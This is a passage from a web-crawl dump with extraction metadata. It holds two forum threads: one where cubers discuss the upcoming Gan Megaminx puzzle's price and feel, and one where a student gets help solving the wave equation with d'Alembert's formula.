"/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8761925101280212, "perplexity": 855.7897561174999}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057589.14/warc/CC-MAIN-20210925021713-20210925051713-00266.warc.gz"}
https://www.speedsolving.com/threads/gan-megaminx-overview-everything-you-need-to-know.71730/	# Gan Megaminx Overview \| Everything You Need to Know #### ROEVOSS ##### Member Get hyped for my overview on the upcoming Gan Megaminx! What do you guys think of this puzzle? #### Matt— ##### Member How expensive do you think it will be? This looks awesome #### ROEVOSS ##### Member How expensive do you think it will be? This looks awesome Thanks! I reckon around $60 -$80. #### Matt— ##### Member Thanks! I reckon around $60 -$80. Woah, too expensive for me. And anyway, I don’t practice Megaminx #### xyzzy ##### Member >puzzle in the video isn't even the Gan mega >thumbnail has a promotional pic of the Gan mega >pictures used in the video are from early prototypes >almost completely speculation about the puzzle why is this video #### ROEVOSS ##### Member >puzzle in the video isn't even the Gan mega >thumbnail has a promotional pic of the Gan mega >pictures used in the video are from early prototypes >almost completely speculation about the puzzle why is this video This video is supposed to be what features the cube will have when it's released. It is not a review. #### Numberwhizz 13 ##### Member Feliks was using it at Weston-Super Mare. In his video for the Oceanic record description it says cube gan megaminx prototype. #### Erik ##### Member I had the chance to briefly try it out at WSM. It's very light. The indentations are good for grip although you have to get used to them. Turning is great, it's better than the Galaxy V2 M. Also it's less 'gummy', during algs you lockup less. If only it'd come with brown plastic as well..... [still loves original mefferts colour scheme] #### ROEVOSS ##### Member I had the chance to briefly try it out at WSM. It's very light. The indentations are good for grip although you have to get used to them. Turning is great, it's better than the Galaxy V2 M. Also it's less 'gummy', during algs you lockup less. If only it'd come with brown plastic as well..... [still loves original mefferts colour scheme] Interesting #### Sion As exciting as it sounds, I'm not sure if it's worth the $80 price tag. #### Tabe ##### Member As exciting as it sounds, I'm not sure if it's worth the$80 price tag. Has a price actually been announced or mentioned? #### ROEVOSS ##### Member Has a price actually been announced or mentioned? The price has not been mentioned yet. Many people think it'll be around $60-$80 for the magnetic version. #### CuberStache ##### Member Still waiting for this puzzle to be released... #### CuberStache ##### Member It's not on the Cubicle though I'm going to wait until they get it so I can use my gift cards instead of paying \$56 USD for it. #### BMcD308 ##### Member Now that it appears to be available at retail, does anyone have it? Preferably someone with a Galaxy V2 to compare. #### CuberStache ##### Member Now that it appears to be available at retail, does anyone have it? Preferably someone with a Galaxy V2 to compare. I have a review I'll be posting on my channel soon, but as a sub-40 solver I prefer the V2 LM. #### Tabe ##### Member I have a review I'll be posting on my channel soon, but as a sub-40 solver I prefer the V2 LM. Bring the Gan to the comp in September so I can try it	2020-01-23 20:43:41	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21403224766254425, "perplexity": 6132.491375268796}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579250613416.54/warc/CC-MAIN-20200123191130-20200123220130-00515.warc.gz"}
https://www.physicsforums.com/threads/finding-the-solution-of-the-wave-equation-that-satisfies-the-boundary-conditions.296588/	# Finding the solution of the wave equation that satisfies the boundary conditions 1. Mar 2, 2009 ### Jack_O 1. The problem statement, all variables and given/known data 2. Relevant equations N/A 3. The attempt at a solution Really stuck with this, i can't work out how to apply the boundary conditions to generate the simultaneous equations to find the specific solution. Can't find any similar examples either. Help appreciated. 2. Mar 2, 2009 ### Tom Mattson Staff Emeritus Do you know D'Alambert's formula? It will give you the solution almost immediately! 3. Mar 2, 2009 ### Jack_O Just looked it up on wikipedia but it confuses me, it doesn't explain it very well. 4. Mar 2, 2009 ### Tom Mattson Staff Emeritus You need to translate their notation to yours. They put it thusly. $$u_{tt}-c^2u_{xx}=0$$ The subscripts indicate partial differentiation, ie $u_{tt}=\frac{\partial^2u}{\partial t^2}$. So their $g(x)$ equals your $e^{-x^2}$ and their $h(x)$ equals your $2cxe^{-x^2}$. It's just plug and chug from there.	2017-10-24 02:48:54	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5314350128173828, "perplexity": 1195.816172571151}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-43/segments/1508187827853.86/warc/CC-MAIN-20171024014937-20171024034937-00055.warc.gz"}